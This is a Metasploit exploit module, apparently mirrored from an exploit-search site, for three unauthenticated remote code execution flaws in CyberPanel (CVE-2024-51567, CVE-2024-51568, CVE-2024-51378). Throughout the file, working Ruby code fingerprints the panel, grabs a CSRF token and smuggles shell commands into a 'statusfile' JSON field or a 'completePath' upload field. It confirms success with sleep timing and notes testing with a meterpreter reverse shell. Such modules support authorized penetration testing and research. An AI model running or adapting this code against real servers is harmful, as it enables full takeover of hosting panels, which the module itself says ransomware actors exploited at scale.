Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-UNIX-WEBAPP-CYBERPANEL_PREAUTH_RCE_MULTI_CVE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Module::HasActions
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CyberPanel Multi CVE Pre-auth RCE',
'Description' => %q{
This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel:
- CVE-2024-51567: Command injection vulnerability in the "upgrademysqlstatus" endpoint.
- CVE-2024-51568: Command Injection via the "completePath" parameter in the "outputExecutioner" sink.
- CVE-2024-51378: Unauthenticated RCE in "/ftp/getresetstatus" and "/dns/getresetstatus".
These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks.
},
'Author' => [
'DreyAnd', # Vulnerability discovery (CVE-2024-51567-8)
'Valentin Lobstein', # Metasploit Module
'Luka Petrovic (refr4g)' # Vulnerability discovery (CVE-2024-51378)
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-51567'],
['CVE', '2024-51568'],
['CVE', '2024-51378'],
['URL', 'https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce'],
['URL', 'https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/'],
['URL', 'https://github.com/DreyAnd/CyberPanel-RCE'],
['URL', 'https://github.com/refr4g/CVE-2024-51378'],
['URL', 'https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/'],
['URL', 'https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882']
],
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultOptions' => {
'SSL' => true
},
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2024-10-27',
'Actions' => [
['CVE-2024-51567', { 'Description' => 'Exploit using CVE-2024-51567' }],
['CVE-2024-51568', { 'Description' => 'Exploit using CVE-2024-51568' }],
['CVE-2024-51378', { 'Description' => 'Exploit using CVE-2024-51378' }]
],
'DefaultAction' => 'CVE-2024-51567',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(8090)
])
end
def detect_cyberpanel
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return false unless res
html = res.get_html_document
paths = [
html.at('link[href="/static/baseTemplate/assets/finalLoginPageCSS/allCss.css"]')&.[]('href'),
html.at('img[src="/static/baseTemplate/cyber-panel-logo.svg"]')&.[]('src')
]
return false unless paths.all?
paths.all? do |path|
response = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path)
})
response&.code == 200
end
end
def check
return CheckCode::Safe('Target does not appear to be CyberPanel.') unless detect_cyberpanel
if test_vulnerability(action.name.downcase)
CheckCode::Vulnerable('Target is running CyberPanel and is vulnerable.')
else
CheckCode::Safe('Target is running CyberPanel but does not appear to be vulnerable.')
end
end
def exploit
execute_payload(action.name.downcase, payload.encoded)
end
def execute_payload(action, injected_payload)
endpoint = nil
method = nil
payload_data = nil
headers = {}
ctype = nil
case action
when 'cve-2024-51567'
endpoint = 'dataBases/upgrademysqlstatus'
method = 'OPTIONS'
payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload
when 'cve-2024-51568'
endpoint = 'filemanager/upload'
method = 'POST'
csrf_token = get_csrf_token
post_data = Rex::MIME::Message.new
random_domain = Rex::Text.rand_text_alphanumeric(8)
random_complete_path = "/dev/null;#{injected_payload} #"
random_filename = "#{Rex::Text.rand_text_alphanumeric(6)}.txt"
random_content = Rex::Text.rand_text_alphanumeric(4)
post_data.add_part(random_domain, nil, nil, 'form-data; name="domainName"')
post_data.add_part(random_complete_path, nil, nil, 'form-data; name="completePath"')
post_data.add_part(random_content, 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{random_filename}\"")
payload_data = post_data.to_s
headers['X-CSRFToken'] = csrf_token
headers['Referer'] = "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}"
headers['Cookie'] = "csrftoken=#{csrf_token}"
ctype = "multipart/form-data; boundary=#{post_data.bound}"
when 'cve-2024-51378'
endpoint = "#{['ftp', 'dns'].sample}/getresetstatus"
method = 'OPTIONS'
payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload
else
fail_with(Failure::BadConfig, 'Invalid action selected')
end
send_request_cgi({
'method' => method,
'uri' => normalize_uri(target_uri.path, endpoint),
'data' => payload_data,
'ctype' => ctype,
'headers' => headers
})
end
def test_vulnerability(action)
sleep_times = [rand(2..5), rand(2..5)].uniq.sort
test_payloads = sleep_times.map { |t| "sleep #{t}" }
confirmed_payloads = []
test_payloads.each do |test_payload|
start_time = Time.now
res = execute_payload(action, test_payload)
next unless res
elapsed_time = Time.now - start_time
match = test_payload.match(/sleep (\d+)/)
confirmed_payloads << test_payload if match && elapsed_time >= match[1].to_i
end
(confirmed_payloads & test_payloads).size == test_payloads.size
end
def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
csrf_token = res&.get_cookies&.match(/csrftoken=(\w+)/)&.captures&.first
fail_with(Failure::NotFound, 'Unable to retrieve CSRF token.') unless csrf_token
vprint_status("CSRF Token retrieved: #{csrf_token}")
csrf_token
end
end